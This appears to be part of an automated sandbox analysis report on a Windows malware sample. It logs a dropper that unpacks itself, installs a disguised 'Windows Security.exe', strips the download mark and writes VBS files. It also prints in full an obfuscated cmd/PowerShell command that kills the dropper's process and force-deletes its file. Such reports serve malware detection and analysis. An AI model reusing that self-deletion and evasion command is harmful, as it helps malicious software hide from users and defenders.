Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5528:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6008:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6772:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5604:120:WilError_01

Source: C:\Users\user\Desktop\18561381.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: 18561381.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 18561381.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\build.exe	Unpacked PE file: 16.2.build.exe.cb0000.0.unpack X1(u;sB2:EW;.text:ER;.reloc:R;Unknown_Section3:ER; vs Unknown_Section0:EW;Unknown_Section1:ER;Unknown_Section2:R;Unknown_Section3:ER;
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Unpacked PE file: 26.2.Windows Security.exe.700000.0.unpack X1(u;sB2:EW;.text:ER;.reloc:R;Unknown_Section3:ER; vs Unknown_Section0:EW;Unknown_Section1:ER;Unknown_Section2:R;Unknown_Section3:ER;
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Unpacked PE file: 35.2.Windows Security.exe.530000.0.unpack X1(u;sB2:EW;.text:ER;.reloc:R;Unknown_Section3:ER; vs Unknown_Section0:EW;Unknown_Section1:ER;Unknown_Section2:R;Unknown_Section3:ER;

Obfuscated command line found

Source: C:\Users\user\AppData\Local\Temp\build.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /F /PID 2856 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process \| Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" & timeout 3 > nul & del /F /S /Q /A "C:\Users\user\AppData\Local\Temp\build.exe" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process \| Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()"
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /F /PID 2856 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process \| Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" & timeout 3 > nul & del /F /S /Q /A "C:\Users\user\AppData\Local\Temp\build.exe" & exit	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process \| Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()"

Source: C:\Users\user\Desktop\18561381.exe	Code function: 0_2_000F89AA push es; iretd	0_2_000F89C0
Source: C:\Users\user\Desktop\18561381.exe	Code function: 0_2_0052F198 pushfd ; ret	0_2_0052F199
Source: C:\Users\user\AppData\Local\Temp\build.exe	Code function: 16_2_00CB801D push rdi; iretd	16_2_00CB8022
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Code function: 26_2_0070801D push rdi; iretd	26_2_00708022
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Code function: 35_2_0053801D push rdi; iretd	35_2_00538022

Source: 18561381.exe

Static PE information: 0xC6DE4D85 [Mon Sep 23 09:46:45 2075 UTC]

Source: build.exe.0.dr	Static PE information: section name: X1(u;sB2
Source: build.exe.0.dr	Static PE information: section name:
Source: Windows Security.exe.16.dr	Static PE information: section name: X1(u;sB2
Source: Windows Security.exe.16.dr	Static PE information: section name:

Source: initial sample	Static PE information: section name: X1(u;sB2 entropy: 7.9973891577
Source: initial sample	Static PE information: section name: X1(u;sB2 entropy: 7.9973891577

Persistence and Installation Behavior

Command shell drops VBS files

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\tmpBD82.vbs

Source: C:\Users\user\Desktop\18561381.exe	File created: C:\Users\user\AppData\Local\Temp\build.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\build.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\AppData\Local\Temp\build.exe

File opened: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX
